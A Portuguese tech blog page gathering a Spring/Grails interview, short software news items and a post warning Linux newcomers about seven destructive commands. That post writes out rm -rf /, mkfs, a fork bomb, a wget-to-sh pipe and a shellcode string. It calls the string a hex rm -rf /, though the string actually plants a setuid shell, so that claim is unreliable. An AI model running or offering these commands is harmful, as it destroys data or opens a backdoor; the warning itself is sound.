Entrevista com Rod Johnson, CEO da SpringSource

Rod Johnson

Uma pesquisa lançada nessa semana pela Evans Data mostrou que 73% do mercado atualmente usa ou planeja adotar o framework para Java da Spring dentro dos próximos dois anos. O mais notável é que 83% das empresas com 500 ou mais desenvolvedores usam o Spring, de acordo com o estudo. Então pensei que seria bom falar com Rod Johnson, CEO e fundador da SpringSource, e autor do framework livre que, na opinião da maioria da comunidade Java, é uma alternativa tão boa quando o EJB.

EddieC: Por que você acha que a adoção do Spring se ampliou tanto?

Rod Johnson: O relatório da Evans mostra a percentagem de pessoas motivadas pela produtividade. O crescimento do uso do Spring tem sido constante com o passar do tempo. Ele foi lançado como software livre em fevereiro de 2003 e hoje já ultrapassou 5 milhões de downloads. Você sempre quer saber... claro, as pessoas estão baixando mas elas estão usando na produção? Esse uso também é extremamente alto.

EC: Como você tem certeza que está sendo usado na produção? Em que essa afirmação é baseada?

RJ: Os requisitos para as habilidades no Spring estão superando os requisitos para as habilidades no EJB, verificado por ferramentas de busca e sites de empregos. Nós também usamos o Indeed.com, que tem um rastreador de tendências de empregos em ferramentas de busca para empregos e abrange uma grande amostra de espaço. As tendências têm sido bem claras, os requisitos para empregos com o Spring estão crescendo muito rapidamente. E um grande número de pessoas procurando por esse conjunto de habilidades mostra que eles estão fazendo algo com o Spring na produção, não apenas o avaliando. Nós estamos bem cientes que quanto mais rápidos são os downloads, maior é o amplo uso na produção.

EC: Por que as pessoas estão tão interessadas no Spring? Qual é a principal vantagem?

RJ: A principal vantagem do uso do Spring é a produtividade. As pessoas acham que elas podem desenvolver aplicativos mais rapidamente e que elas podem mantê-los mais facilmente, uma vez que elas estão na fase de produção. 83% das atividades de desenvolvimento de aplicações são em torno da manutenção. E os desenvolvedores que saíram do EJB para o Spring disseram que eles tiveram um crescimento na produtividade.

EC: Quais são os outros benefícios do framework?

RJ: Outro motivo é que o Spring tende a fazer os aplicativos mais portáveis. No tradicional ambiente Java EE, o código requer um framework in-house e está intimamente ligado ao servidor de aplicativos. Há um número de problemas nisso. As questões sobre testes são significantes. Além disso, o que acontece quando há uma revisão com o servidor de aplicação adjacente? Essa mudança impactará no seu código? E se eu quiser sair do WebSphere e rodar num Tomcat? Você não poderia fazer isso se você estivesse ligado a um servidor Java EE.

EC: Mas poderia se fosse escrito com o Spring. Por quê?

RJ: Porque o Spring fornece um substituto ao conteiner EJB que é mais portável. Com o Spring, você pode rodar método empresarial em um conteiner web, um servidor completo ou como um aplicativo que não tem nenhum conteiner. Servidores de aplicativos dividem os aplicativos em 2 níveis. No nível principal, ele gerencia os seus objetos de negócio, e controla como eles são configurados e funcionam no momento da execução. O segundo é o modelo de implantação, que fornece serviços empresariais, como serviços de mensagem e habilidade de transações. Fundamentalmente, os servidores de aplicativos fazem um bom trabalho na primeira parte, mas não fazem na segunda.

EC: Existem outros produtos com o Spring, e como eles se comparam?

RJ: Não há nada, realmente, como o Spring. Se você observar o nicho de aplicativos de framework, há outros projetos que tentam abranger a mesma área mas nenhum deles consegue. A SpringSource também tem o servidor de aplicativos dm Server, e é o fornecedor líder nos serviços de suporte para o Tomcat. Somos também o maior contribuidor do projeto Apache Tomcat.

EC: No começo desse mês, a SpringSource adquiriu a G2One, que desenvolveu as tecnologias de linguagem dinâmica Groovy e Grails. Onde a G2One se encaixa na estratégia da SpringSource?

RJ: Tem havido um crescimento significante nas linguagens dinâmicas. Nós trabalhamos no Java estático. Com a aquisição, adicionamos o Grails, uma interpretação JVM do mesmo tipo de key drivers que você vê por trás do Ruby On Rails. O Ruby On Rails é simples para problemas simples. Mas quando você tem problemas mais complexos, você dá com a cara na parede. Achamos que o Grails é superior para as pessoas que querem uma linguagem superior.

EC: Superior? Quanto?

RJ: Por exemplo, imagine que você é uma organização que está pensando em mover o seu aplicativo web para uma linguagem dinâmica ou escrever uma nova. Você ouvir falar de seus benefícios de produtividade e quer dar uma olhada nelas. Você pode escolher entre o Rails e o Grails. Se você usar o Rails, você não tem acesso a qualquer infra-estrutura (ferramentas de gerenciamento, etc) que você tinha no mundo Java e você não tem acesso ao código escrito em Java existente. Se você usar o Grails, você mantém a sua infra-estrutura e você não precisa abrir mão de coisas que são muito boas. Com o Grails, você tem os benefícios de produtividade de trabalhar com um linguagem dinâmica e você não tem que abrir mão de tudo que você já investiu. Com o Grails, você tiver um problema muito grande, você pode pular para o Spring.

EC: Como isso pode acontecer? O Java e o Grails (antigamente chamado de Groovy on Rails) não são linguagens completamente diferentes?

RJ: O Grails usa o Groovy, que é muito mais parecido com o Java, mas mapeia as classificações Java de uma maneira que nenhuma outra linguagem faz. O Grails está embutido no Spring, que fica no topo da pilha runtime. Quando você tem um aplicativo Spring rodando, o Spring assume as responsabilidades do servidor de aplicativos para gerenciar o método empresarial, etc. No caso do Grails, você tem uma outra camada no topo dessas capacidades, e todos os componentes do Grails gera um objeto que pode ser gerenciado pelo Spring. Isso é importante de uma perspectiva de suporte porque, no runtime, o Grails está alavancando uma tecnologia muito madura, em vez de inventar o seu próprio modelo de componente. Se você é um desenvolvedor em Grails e necessita acessar funções avançadas, você não pode acessar diretamente no Groovy, você pode configurar qualquer um dos objetos gerenciados pelo Spring e você terá os seus planos poderes a seu dispor.

Fonte: EddieC@DaniWeb

Qual era o sistema?


Uma dica: não era Linux.

[Open Music!] Roger Subirana - Pyraminx


Artista: Roger Subirana
Música: Pyraminx

Album:
Point of no return
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Um bilhão de downloads


O time de add-ons da Mozilla anunciou na semana passada que foi alcançado o bilionésino download desde que começaram a contar em 2005.

Esse número inclui somente downloads do addons.mozilla.org, então o número pode, de fato, ser muito maior já que os add-ons também são distribuídos por outros canais.

Os add-ons do Firefox sempre foram uma força-chave do navegar open-source e como os navegadores estão prontos para a próxima grande batalha - a móvel-, as extensões podem ser o fator determinante. Algumas semana atrás, o time de add-ons adicionou o suporte para extensões ao Fennec - o navegar móvel da Mozilla - e a primeira extensão portada.

Embora o Fennec tenha entrado no jogo a pouco, ele tem um enorme repositório de extensões só esperando a serem portadas para a pequena plataforma. E quando isso acontecer, os competidores terão uma vida difícil na competição.

Fonte: Alastair@Tectonic

RPG Pornô?



Foi nisso que você pensou?? Então você é um pervertido....

O Buraco Negro


Sensacional..

[Open Music!] HYPE - Swallow


Artista: HYPE
Música: Swallow

Album:
Just a catwalk from heaven
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7 comandos letais no Linux

Danger

Se você é novo no Linux, possivelmente você encontrará pessoas estúpida, talvez em fóruns ou salas de bate-papo, que podem o enganar usando comandos que poderão  destruir seus arquivos e até mesmo todo o seu sistema operacional. Para evitar esse perigoso cenário de acontecer, tenho aqui uma lista de comandos Linux mortais que você deve evitar.

1. Comando: rm -rf /

Esse comoando irá, recurcivamente e forçadamente, deletar todos os arquivos dentro do diretório root.

2. Comando: char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

Essa é a versão hexadecimal do rm -rf / que pode enganar até mesmo usuários Linux experientes.

3. Comando: mkfs.ext3 /dev/sda

Isso irá reformatar ou limpar todos os arquivos do dispositivo que é mencionado depois do comando mkfs.

4. Comando: :(){:|:&};:

Conhecido como forkbomb, esse comando dirá ao seu sistema para executar um grande número de processo até o sistema travar. Isso freqüentemente resulta em corrompimento de arquivos.

5. Comando: qualquer_comando > /dev/sda

Com esse comando, informações brutas serão escritas no dispositivo e podem, geralmente, danificar o sistema de arquivos, resultando em perda total de informações.

6. Comando: wget http://alguma_fonte_não_confiável -O- | sh

Nunca baixe de fontes não confiáveis e, em seguida, execute os códigos malicioso que possivelmente estão dando a você.

7. Comando: mv /home/seupastahome/* /dev/null

Esse comando moverá todos os arquivos que estão na sua pasta home para um local que não existe. Você nunca os verá novamente.

Existem, logicamente, outros comando Linux igualmente letais que deixei de incluir aqui, então se você tem algo a acrescentar, por favor, comparlihe conosco via comentários.

Fonte: Jun Auza@junauza.com

Linux inicia em apenas 2.97 segundos

A casa japonesa de software embarcado Lineo anunciou um tecnologia de rápida inicialização que alega iniciar o Linux em 2.97 segundos em sistemas de baixa potência. A tecnologia aparece ser similar mas é muito mais rápida do que a capacidade existente "suspend-to-disk" do Linux. Para mais detalhes clique aqui.

[Open Music!] The Rest - Copying


Artista: The Rest
Música: Copying

Album:
Atlantis, Oh Our Saviour
Página no Jamendo: AQUI

Silverlight está pronto para o Moonlight no Linux

Silverlight

A Microsoft e a Novell anunciaram na terça-feira que uma versão beta do Moonlight - um add-on para o Firefox que permite que conteúdos do Silverlight seja reproduzido em PCs Linux - está quase pronta.

O software será anunciado na comemoração do segundo aniversário do acordo de paz entre as empresas.

O trabalho no Moonlight começou em maio de 2007 e uma versão alpha foi mostrada no mês passado. Miguel de Icaza, da Novell, que encabeça a equipe do Moonlight, disse em seu blog, na semana passada, que a versão beta sairia dentro de alguns dias.

Essa etapa ajuda a Micorsoft em seus esforços para posicionar o Silverlight como um rival ao Flash da Adobe. O Flash roda no Linux e está instalado numa grande percentagem dos PCs. Flash e Silverlight também rodam em Macs.

A maior vitória recente do Silverlight foi um acordo da Microsoft com a NBC, que viu a tecnologia ser usada para mostrar o vídeos no NBCOlympics.com. Porém o Silverlight sofreu um golpe no começo da semana, quando a Major League Baseball nos Estados Unidos disse que está trocando seus player para player exclusivamente em Flash para a temporada 2009.

Além do anuncio do Moonlight, a Novell está lançando um pacote de gerenciamento que se conecta aos produtos System Center da Microsoft, que permite que gerentes de IT supervisionem mais facilmente implantações mistas do Suse Linux e do Windows.

No que diz respeito ao trabalho conjunto das duas empresas, eles têm hoje mais de 200 cliente em conjunto, disse Susan Heystee, gerente-geral global de estratégias para alianças da Novell. É um crescimento para quem tinha menos de 70 de clientes no fim do primeiro ano.

Heystee disse: "Esse crescimento é devido ao valor da proposta e o foco que nós temos em torno da interoperatibilidade. Muitas dessas empresas estão implantando Linux e Windows em seus datacenters."

Fonte: Ina Fried@Builder.au

Uma pausa...

mas agora voltei ao ritmo.
 
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